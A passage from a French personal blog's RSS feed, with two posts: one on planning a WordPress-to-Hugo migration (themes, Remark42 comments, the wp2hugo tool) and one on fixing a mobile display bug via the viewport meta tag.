Hugo). Il y a surtout les aspects pas du tout gérés par Hugo, comme les formulaires ou les commentaires, mais avec des solutions externes pour les remplacer.&lt;/p&gt;&#xA;&lt;p&gt;Mais ce côté simplification me plaît, se concentrer sur le texte de l&amp;rsquo;article, et laisser tomber les petites fioritures que permet WP avec le choix d&amp;rsquo;une multitude de plugins, mais qui finalement ne sont pas indispensables. Avoir un blog très rapide, des articles qui s&amp;rsquo;affichent en un clin d&amp;rsquo;œil, et qui se concentrent sur l&amp;rsquo;essentiel, c&amp;rsquo;est tentant. Alors pourquoi pas ?&lt;/p&gt;&#xA;&lt;p&gt;Mais qu&amp;rsquo;est-ce que ça implique vraiment ?&lt;/p&gt;&#xA;&lt;h3 id=&#34;découverte&#34;&gt;Découverte&#xA;&lt;/h3&gt;&lt;p&gt;Il existe beaucoup d&amp;rsquo;articles sur Hugo, le SSG est très populaire et son développement actif, ce qui est une bonne chose. Ce n&amp;rsquo;est donc pas la littérature sur le sujet qui manque, et encore moins sur la migration en venant de Wordpress. J&amp;rsquo;ai retenu ces deux articles :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pourquoi migrer : &lt;a class=&#34;link&#34; href=&#34;https://benoit.gouthiere.be/blog/migration-wordpress-hugo/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://benoit.gouthiere.be/blog/migration-wordpress-hugo/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Comprendre Hugo : &lt;a class=&#34;link&#34; href=&#34;https://www.regisphilibert.com/blog/2019/01/from-wordpress-to-hugo-a-mindset-transition/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.regisphilibert.com/blog/2019/01/from-wordpress-to-hugo-a-mindset-transition/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;un-autre-environnement&#34;&gt;Un autre environnement&#xA;&lt;/h3&gt;&lt;p&gt;Déjà, on change totalement d&amp;rsquo;environnement, il y aura plein de nouvelles choses à apprendre, c&amp;rsquo;est certain, à commencer par Hugo. J&amp;rsquo;ai commencé par l&amp;rsquo;installer sur mon PC, jouer un peu avec, générer les pages HMTL, les envoyer sur mon hébergeur. Il faut reconnaître que c&amp;rsquo;est assez simple et intuitif, une fois que l&amp;rsquo;on a assimilé les bases. On commence par &lt;a class=&#34;link&#34; href=&#34;https://gohugo.io/documentation/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la doc&lt;/a&gt; bien entendu, qui est d&amp;rsquo;ailleurs très bien faite. Et notamment la page de &lt;a class=&#34;link&#34; href=&#34;http://gohugo.io/getting-started/quick-start/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Quicktart&lt;/a&gt;, et en quelques minutes vous avez votre premier site disponible. Toutes les modifications faites sur les fichiers &lt;code&gt;.md&lt;/code&gt; ou de configuration sont pris en compte dynamiquement, c&amp;rsquo;est très pratique quand on teste quelque chose. Et quand on le souhaite, on génère le site statique (dans le dossier &lt;code&gt;public&lt;/code&gt;) qu&amp;rsquo;il suffit d&amp;rsquo;envoyer sur votre hébergeur par exemple, et voilà le tour est joué. Cette première approche s&amp;rsquo;est révélée facile et cela donne envie de continuer et d&amp;rsquo;approfondir.&lt;/p&gt;&#xA;&lt;p&gt;Puis j&amp;rsquo;ai voulu choisir &lt;a class=&#34;link&#34; href=&#34;https://themes.gohugo.io/themes/hugo-theme-stack/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;un thème&lt;/a&gt;. Et là, le thème Stack qui me plaît me renvoie sur une page Github qui me dit :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;873px&#34; data-flex-grow=&#34;363&#34; height=&#34;241&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/migrer-le-blog-vers-hugo/Capture-decran-du-2026-06-14-18-29-03.png&#34; srcset=&#34;https://pled.fr/migrer-le-blog-vers-hugo/Capture-decran-du-2026-06-14-18-29-03_hu_331e0f6d58fb0106.png 800w, https://pled.fr/migrer-le-blog-vers-hugo/Capture-decran-du-2026-06-14-18-29-03.png 877w&#34; width=&#34;877&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai mis du temps à comprendre de quoi il retournait : en fait il recommande de l&amp;rsquo;installer sur Github comme un dépôt, qui permet de générer automatiquement le site statique toujours sur Github. De plus, le thème sera automatiquement mis à jour si une nouvelle version est publiée. On passe vraiment dans un autre monde, un monde de développeur, ce que je ne suis pas. Mais cela laisse entrevoir de nouvelles possibilités, si l&amp;rsquo;on souhaite les apprendre (ainsi qu&amp;rsquo;une certaine maîtrise de Github). Mais à priori je ne compte pas aller jusque là.&lt;/p&gt;&#xA;&lt;p&gt;Heureusement, on peut aussi installer ce thème en local sur sa machine, et c&amp;rsquo;est ce que j&amp;rsquo;ai fait pour l&amp;rsquo;instant, ne maîtrisant pas Github (cela ferait beaucoup trop de choses nouvelles à appréhender en même temps). Je suis beaucoup plus à l&amp;rsquo;aise en local, et quand il s&amp;rsquo;agira de personnaliser le thème pour correspondre à mes souhaits, cela sera beaucoup plus facile ainsi.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hébergeur&#34;&gt;Hébergeur&#xA;&lt;/h3&gt;&lt;p&gt;Un autre avantage d&amp;rsquo;Hugo, c&amp;rsquo;est de pouvoir se passer d&amp;rsquo;hébergeur, d&amp;rsquo;abord parce que les optimisations requises par WP sont désormais inutiles, et parce qu&amp;rsquo;il y a des solutions gratuites pour ce type de site statique : on peut donc utiliser les GitHub Pages, mais aussi Netlify, ou encore les Cloudflare Pages. À terme, je peux même imaginer auto-héberger mon blog sur mon NAS, tout simplement.&lt;/p&gt;&#xA;&lt;p&gt;Il me suffira de conserver mon nom de domaine, et d&amp;rsquo;en faire ce que je veux. D&amp;rsquo;ailleurs, Github Pages supporte les &amp;ldquo;custom domain&amp;rdquo;, si je souhaitais bénéficier du déploiement automatisé mentionné plus haut.&lt;/p&gt;&#xA;&lt;h3 id=&#34;migration&#34;&gt;Migration&#xA;&lt;/h3&gt;&lt;p&gt;Le projet est donc tentant mais cela implique de migrer mon blog WP, soit près de 1500 articles, et cela signifie certainement un très gros travail de migration, même s&amp;rsquo;il y a des outils et autres scripts qui sont là pour aider : en gros, on exporte le site WP au format XML (opération standard que permet le tableau d&amp;rsquo;administration de WP), puis un script va convertir tous les articles et les pages exportés au format Markdown. C&amp;rsquo;est déjà un énorme travail de fait, et disons que le texte de chaque article est correctement migré, mais qu&amp;rsquo;en est-il du reste ?&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est-à-dire tout le HTML autre que le texte : les liens (par exemple l&amp;rsquo;attribut &lt;code&gt;_target=&amp;quot;blank&amp;quot;&lt;/code&gt; qui permet d&amp;rsquo;ouvrir le lien dans un nouvel onglet n&amp;rsquo;existe pas en markdown), les images, tableaux, mais surtout tous les différents blocs de Gutenberg que j&amp;rsquo;ai utilisé (audio, vidéo, galerie, etc&amp;hellip;) qui utilisent un format spécifique, et d&amp;rsquo;autres cas particuliers que je découvrirai certainement au cours de l&amp;rsquo;opération. Il faudra repasser sur certaines choses, si je peux l&amp;rsquo;automatiser avec un script, ça ira, mais sinon revoir tous les articles un par un s&amp;rsquo;avérerait un énorme boulot.&lt;/p&gt;&#xA;&lt;p&gt;Et comment seront migrées les pages de mes journaux de voyage où j&amp;rsquo;ai fait un beau &amp;ldquo;page template&amp;rdquo; avec un sommaire glissant à droite ? Probable qu&amp;rsquo;il me faudra en revoir la présentation, même si j&amp;rsquo;ai vu que les templates existaient avec Hugo (après tout ce n&amp;rsquo;est que du HTML et du CSS), donc il y aura peut-être une solution ?&lt;/p&gt;&#xA;&lt;p&gt;Les autres choses auxquelles il faut porter attention :&lt;/p&gt;&#xA;&lt;h4 id=&#34;thème&#34;&gt;Thème&#xA;&lt;/h4&gt;&lt;p&gt;Pour le thème, l&amp;rsquo;apparence globale sera revue de A à Z, à moins de vouloir le recréer à l&amp;rsquo;aide de l&amp;rsquo;AI comme je l&amp;rsquo;ai lu une fois. Pour ma part, j&amp;rsquo;ai choisi un thème disponible pour Hugo, et ce sera l&amp;rsquo;occasion de profiter de ce nouveau thème et de l&amp;rsquo;adapter à mes souhaits. Cela donnera un coup de neuf au blog, c&amp;rsquo;est très bien comme ça. Et si certaines choses disparaîtront, de nouvelles seront présentes, c&amp;rsquo;est le principe de tout changement.&lt;/p&gt;&#xA;&lt;h4 id=&#34;plugins&#34;&gt;Plugins&#xA;&lt;/h4&gt;&lt;p&gt;Avec WP, j&amp;rsquo;essayais de limiter le nombre de plugins au maximum, pour ne pas alourdir ni compliquer la gestion du site, mais il y en a quand même quelques uns : l&amp;rsquo;idée c&amp;rsquo;est de se passer d&amp;rsquo;eux quand c&amp;rsquo;est possible (simplification) et de voir les solutions pour les autres.&lt;/p&gt;&#xA;&lt;p&gt;Il y a bien sûr le plugin Akismet pour lutter contre les spams, très efficace et indispensable avec WP. Je verrai comment cela va se passer sur cet aspect avec Hugo ou plutôt avec &lt;a class=&#34;link&#34; href=&#34;https://remark42.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Remark42&lt;/a&gt;, le système de commentaires que j&amp;rsquo;ai repéré pour l&amp;rsquo;instant, et ce qu&amp;rsquo;il propose à ce sujet : sera-t-il toujours possible de conserver les commentaires anonymes ? Ce n&amp;rsquo;est pas certain.&lt;/p&gt;&#xA;&lt;p&gt;Autre exemple : Je pensais faire une croix sur la citation que j&amp;rsquo;affiche en haut de la colonne de droite : il s&amp;rsquo;agit du plugin &lt;strong&gt;UtterQuotes&lt;/strong&gt; (qui d&amp;rsquo;ailleurs n&amp;rsquo;était plus maintenu depuis des années, mais fonctionnait encore pour l&amp;rsquo;essentiel, avec une table dédiée dans la BdD). Typiquement le genre de choses qui n&amp;rsquo;existe pas sur Hugo, mais en lisant &lt;a class=&#34;link&#34; href=&#34;https://www.hleroy.com/2022/09/migration-de-wordpress-vers-hugo/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cet article&lt;/a&gt;, j&amp;rsquo;ai pu recréer le système. Il a aussi fallu extraire mes citations de la BdD, et les importer dans un fichier &lt;code&gt;.json&lt;/code&gt;, pour cela Mistral AI m&amp;rsquo;a fourni un script en quelques secondes. De bonnes surprises peuvent donc aussi se produire durant la migration.&lt;/p&gt;&#xA;&lt;p&gt;Il y a aussi d&amp;rsquo;autres plugins dont je devrais me passer, comme celui qui me permettait d&amp;rsquo;afficher la liste d&amp;rsquo;articles par catégories, sous forme d&amp;rsquo;excerpt, mais cette possibilité est présente de base avec le thème Stack que j&amp;rsquo;ai choisi.&lt;/p&gt;&#xA;&lt;h4 id=&#34;les-commentaires&#34;&gt;Les commentaires&#xA;&lt;/h4&gt;&lt;p&gt;Pour revenir aux commentaires, il y a plusieurs solutions externes de proposées pour Hugo, et notamment &lt;strong&gt;Disqus&lt;/strong&gt;, le plus connu. Mais il n&amp;rsquo;est pas libre, et exploite vos données, il est donc hors-jeu d&amp;rsquo;entrée pour mon blog. Certains autres se basent sur Github où il faut donc avoir un compte pour poster un commentaire, c&amp;rsquo;est un peu limitatif. Il en reste quelques autres, et il faut idéalement qu&amp;rsquo;il soit supporté par votre thème pour assurer une intégration facile.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc commencé à regarder &lt;a class=&#34;link&#34; href=&#34;https://remark42.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Remark42&lt;/a&gt; de plus près, il a l&amp;rsquo;air de cocher pas mal de cases, axé sur le respect de la vie privée, et que l&amp;rsquo;on peut auto-héberger via Docker. Je n&amp;rsquo;ai donc pas tardé à installer le container sur mon NAS et commencé à jouer avec. Il permet l&amp;rsquo;authentification par email, ou par les réseaux sociaux (chose que je ne compte pas implémenter avec l&amp;rsquo;exception de Github), mais aussi les commentaires anonymes, que j&amp;rsquo;aimerais bien conserver, à voir si cela sera possible (risque de spams). Il lui manque juste une interface d&amp;rsquo;administration, mais si j&amp;rsquo;en avais besoin, j&amp;rsquo;ai vu qu&amp;rsquo;il existait des solutions externes, comme celle-ci : &lt;a class=&#34;link&#34; href=&#34;https://github.com/lauralesteves/remark42-admin-ui&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/lauralesteves/remark42-admin-ui&lt;/a&gt;, si nécessaire. Le monde du logiciel libre est vaste&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Remark42 permet aussi d&amp;rsquo;importer les commentaires de WP, je n&amp;rsquo;ai pas encore testé à fond &lt;a class=&#34;link&#34; href=&#34;https://remark42.com/docs/backup/migration/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cette option&lt;/a&gt;, j&amp;rsquo;espère qu&amp;rsquo;elle fonctionne, ça m&amp;rsquo;embêterait de perdre tous les commentaires existants.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-outils-de-migration&#34;&gt;Les outils de migration&#xA;&lt;/h3&gt;&lt;p&gt;Voilà ce que j&amp;rsquo;ai vu pour l&amp;rsquo;instant sur le sujet : la plupart reposent donc sur l&amp;rsquo;export que permet de faire WP via le menu Outils - Exporter. On choisit &amp;ldquo;Tout&amp;rdquo; et on récupère un fichier &lt;code&gt;.xml&lt;/code&gt; que l&amp;rsquo;outil va traiter. On en trouve une liste ici : &lt;a class=&#34;link&#34; href=&#34;https://gohugo.io/tools/migrations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gohugo.io/tools/migrations&lt;/a&gt;. Ou encore sur une liste fournie par un utilisateur sur le forum ici : &lt;a class=&#34;link&#34; href=&#34;https://discourse.gohugo.io/t/best-practices-or-a-smarter-way-to-create-a-60k-pages-website/46328&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://discourse.gohugo.io/t/best-practices-or-a-smarter-way-to-create-a-60k-pages-website/46328&lt;/a&gt;. Mais elles ne fonctionnent pas toutes : certaines sont assez anciennes et ne sont pas mises à jour depuis plusieurs années, d&amp;rsquo;autres proposent un script python qu&amp;rsquo;ils ont créé pour eux&amp;hellip; et qui ne fonctionne tout simplement pas ! D&amp;rsquo;autres encore s&amp;rsquo;installent comme plugins dans WP, mais de ce que j&amp;rsquo;ai pu voir, elles ne sont pas mises à jour non plus, et plutôt basiques.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai retenu les deux les plus réputées qui sont :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/lonekorean/wordpress-export-to-markdown&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;wordpress-export-to-mardown&lt;/a&gt; (écrit en JS) : J&amp;rsquo;aime bien le fait qu&amp;rsquo;il permette d&amp;rsquo;organiser les articles dans une arborescence de type année/mois/article. On obtient un dossier pour chaque article, avec dans chaque un dossier images, où l&amp;rsquo;on retrouve les images de l&amp;rsquo;article. C&amp;rsquo;est l&amp;rsquo;organisation que j&amp;rsquo;aimerais retrouver. Mais il est plutôt limité : on peut dire qu&amp;rsquo;il gère les articles et les images, ainsi que les catégories. Et ça s&amp;rsquo;arrête là.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/ashishb/wp2hugo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;wp2hugo&lt;/a&gt; (écrit en Go) : le script est souvent mentionné, et il est sans doute le plus complet, gérant bien les contenus multimédias (liens videos, audio), et plein d&amp;rsquo;autres choses. Mais il crée les nouveaux articles à plat dans un répertoire, et les images sont dans le dossier static, en recréant l&amp;rsquo;arborescence de wordpress, genre &lt;code&gt;static/wordpress/upload/year/month&lt;/code&gt;. Ce n&amp;rsquo;est pas ce que je voudrais.&lt;/p&gt;&#xA;&lt;p&gt;En posant la question au développeur sur son projet Github, il m&amp;rsquo;a parlé d&amp;rsquo;un outil complémentaire qu&amp;rsquo;il est en train de développer, &lt;strong&gt;hugomanager&lt;/strong&gt;, et qui permet entre autres, de réorganiser les posts en dossiers indépendants contenant ses propres images. Cela me conviendrait beaucoup plus. Pour l&amp;rsquo;instant, cela ne fonctionne pas, mais j&amp;rsquo;avance avec le dev sur le sujet.&lt;/p&gt;&#xA;&lt;p&gt;Pour l&amp;rsquo;organisation en dossier &amp;ldquo;year/month&amp;rdquo; de l&amp;rsquo;ensemble des articles, j&amp;rsquo;ai aussi créé une issue, et il l&amp;rsquo;a déjà implémentée dans wp2hugo. Avec ces deux modifications, on obtiendrait avec le script un dossier &lt;code&gt;posts&lt;/code&gt; avec à l&amp;rsquo;intérieur une organisation par année puis par mois, et pour chaque article un sous-dossier images. Ce serait parfait pour moi.&lt;/p&gt;&#xA;&lt;p&gt;Si j&amp;rsquo;arrive grâce à lui à pouvoir résoudre les principaux problèmes de cette migration, cela va beaucoup m&amp;rsquo;aider. Il a l&amp;rsquo;air assez réactif, et prêt à ajouter des options à son outil, c&amp;rsquo;est vraiment génial ! :cool:&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Je suis très tenté de me lancer dans cette aventure ! L&amp;rsquo;esprit me plaît, l&amp;rsquo;approche d&amp;rsquo;un site statique aussi, je vais donc continuer à creuser et faire quelques tests de migration pour évaluer le travail que j&amp;rsquo;aurais à faire.&lt;/p&gt;&#xA;&lt;p&gt;Chez mon hébergeur Infomaniak, j&amp;rsquo;ai déjà créé un deuxième WP de test, ou je crée quelques articles et pages pour avoir un échantillon représentatif du contenu de mon blog. Puis je l&amp;rsquo;exporte en XML, et en local sur mon PC, je peux lancer le script de migration et regarder ce que cela donne dans Hugo. Parallèlement, je personnalise le thème que j&amp;rsquo;ai choisi et m&amp;rsquo;adapte aux changements que cela oblige. Je peux même pousser le HTML généré par Hugo sur un autre sous-domaine de mon hébergeur pour voir le rendu &amp;ldquo;en ligne&amp;rdquo;. Côté commentaires, Remark42 fonctionne en auto-hébergé, avec l&amp;rsquo;identification par github, mail ou de manière anonyme. Seul l&amp;rsquo;importation ne fonctionne pas pour l&amp;rsquo;instant, mais je n&amp;rsquo;ai pas vraiment creusé.&lt;/p&gt;&#xA;&lt;p&gt;Voilà où j&amp;rsquo;en suis, ça a quand même bien avancé, je continue de tester le script de migration et de suggérer des améliorations ou créer des bugs, d&amp;rsquo;apprendre aussi sur Hugo, le thème, le système de commentaire Remark42, etc&amp;hellip; On verra comment ce projet évolue, j&amp;rsquo;espère pour un jour faire la bascule vers ce nouveau système.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mauvais affichage du blog sur mobile</title>
            <link>https://pled.fr/mauvais-affichage-du-blog-sur-mobile/</link>
            <pubDate>Fri, 21 Nov 2025 15:21:19 +0000</pubDate>
            <guid>https://pled.fr/mauvais-affichage-du-blog-sur-mobile/</guid>
            <description>&lt;p&gt;Surprise hier, en affichant mon blog sur le smartphone, j&amp;rsquo;avais un espace à droite inutilisé :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;120px&#34; data-flex-grow=&#34;50&#34; height=&#34;499&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/pageblog.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Manifestement, la partie &amp;ldquo;web responsive&amp;rdquo; détectait mal la largeur de l&amp;rsquo;écran, mais pourquoi ? Je n&amp;rsquo;ai pas fait de modifications sur le thème récemment, je ne comprenais donc pas trop d&amp;rsquo;où pouvait venir le problème.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai commencé par vider le cache du navigateur et recharger la page, sans changement. Puis j&amp;rsquo;ai installé un autre navigateur sur le smartphone : idem, le problème persistait. Ce matin, j&amp;rsquo;ai donc commencé à regarder cela de plus près, et j&amp;rsquo;ai été assez heureux puisque j&amp;rsquo;ai vite trouvé comment corriger ce problème, même si je ne maîtrise pas le sujet&amp;hellip;&lt;/p&gt;&#xA;&lt;h2 id=&#34;webusb-debuging&#34;&gt;Webusb debuging&#xA;&lt;/h2&gt;&lt;p&gt;Le premier problème, c&amp;rsquo;est de trouver comment trouver les outils développeurs. Je me souvenais l&amp;rsquo;avoir fait une fois avec le navigateur chromium (c&amp;rsquo;est plus simple qu&amp;rsquo;avec Firefox), j&amp;rsquo;ai donc pu retrouver facilement la manip : il faut activer le débogage USB sur le smartphone, puis dans le navigateur taper chrome://inspect#devices dans la barre d&amp;rsquo;adresse. Après avoir accepté la clef de chiffrement, l&amp;rsquo;appareil s&amp;rsquo;affiche, ainsi que la ou les page(s) web ouvertes :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;368px&#34; data-flex-grow=&#34;153&#34; height=&#34;526&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/Capture-decran-du-2025-11-21-15-37-22.png&#34; srcset=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/Capture-decran-du-2025-11-21-15-37-22_hu_997784275667bcfd.png 800w, https://pled.fr/mauvais-affichage-du-blog-sur-mobile/Capture-decran-du-2025-11-21-15-37-22.png 808w&#34; width=&#34;808&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il ne reste plus qu&amp;rsquo;à cliquer sur &lt;strong&gt;inspect&lt;/strong&gt;, et on accède aux outils de dev comme sur le PC : je retrouve donc ma page d&amp;rsquo;accueil mal affichée, et remarque assez vite cette ligne dans la section &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; de la page html :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;317px&#34; data-flex-grow=&#34;132&#34; height=&#34;807&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/Capture-decran-du-2025-11-21-11-34-59-1.png&#34; srcset=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/Capture-decran-du-2025-11-21-11-34-59-1_hu_85df6beae838aab8.png 800w, https://pled.fr/mauvais-affichage-du-blog-sur-mobile/Capture-decran-du-2025-11-21-11-34-59-1.png 1067w&#34; width=&#34;1067&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;En remplaçant la valeur device-width par une valeur numérique, je vois que j&amp;rsquo;impacte bien la largeur de l&amp;rsquo;affichage sur l&amp;rsquo;écran du portable. Je vais alors chercher un peu sur le web des infos sur ce &lt;code&gt;meta name=&amp;quot;viewport&amp;quot;&lt;/code&gt;, et trouve &lt;a class=&#34;link&#34; href=&#34;https://www.alsacreations.com/article/lire/1490-comprendre-le-viewport-dans-le-web-mobile.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cette page&lt;/a&gt;. Je vois que leur exemple est légèrement différent de ma ligne :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alors que ma ligne se limite à :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;width=device-width&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sans trop chercher à creuser, j&amp;rsquo;ajoute ce second paramètre qui m&amp;rsquo;a l&amp;rsquo;air de faire sens par rapport à mon problème, et l&amp;rsquo;affichage redevient correct :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;317px&#34; data-flex-grow=&#34;132&#34; height=&#34;807&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/pageblog1.png&#34; srcset=&#34;https://pled.fr/mauvais-affichage-du-blog-sur-mobile/pageblog1_hu_e267644eaf9100c2.png 800w, https://pled.fr/mauvais-affichage-du-blog-sur-mobile/pageblog1.png 1067w&#34; width=&#34;1067&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Parfait, reste à trouver et modifier le fichier correspondant côté wordpress. Il s&amp;rsquo;agit du fichier &lt;code&gt;header.php&lt;/code&gt; dans le dossier du thème actif.&lt;/p&gt;&#xA;&lt;h3 id=&#34;astuce&#34;&gt;Astuce&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai aussi appris que pour afficher le code source de la page côté mobile, il suffit d&amp;rsquo;ajouter &lt;code&gt;view-source:&lt;/code&gt; avant l&amp;rsquo;adresse du site visité :&lt;/p&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://pled.fr/wp-content/uploads/2025/11/signal-2025-11-21-163457%5F002-1.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Je ne sais pas trop d&amp;rsquo;où est venu ce problème, je ne l&amp;rsquo;avais jamais remarqué avant, c&amp;rsquo;est donc forcément assez récent. De ce que j&amp;rsquo;ai lu sur &lt;a class=&#34;link&#34; href=&#34;https://www.alsacreations.com/article/lire/1490-comprendre-le-viewport-dans-le-web-mobile.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la page d&amp;rsquo;explication&lt;/a&gt; à propos de la notion de &lt;strong&gt;viewport&lt;/strong&gt;, c&amp;rsquo;est probablement à la suite d&amp;rsquo;une mise à jour d&amp;rsquo;Android et/ou du navigateur Vanadium qu&amp;rsquo;utilise GrapheneOS.&lt;/p&gt;&#xA;&lt;p&gt;Mais voilà un problème de réglé rapidement, et j&amp;rsquo;avoue avoir eu de la chance de tomber immédiatement sur la bonne ligne et le bon paramètre&amp;hellip; Cela compensera les fois où je passe des heures à trouver la solution ! :cool:&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog – année 2024</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2024/</link>
            <pubDate>Wed, 01 Jan 2025 16:47:48 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2024/</guid>
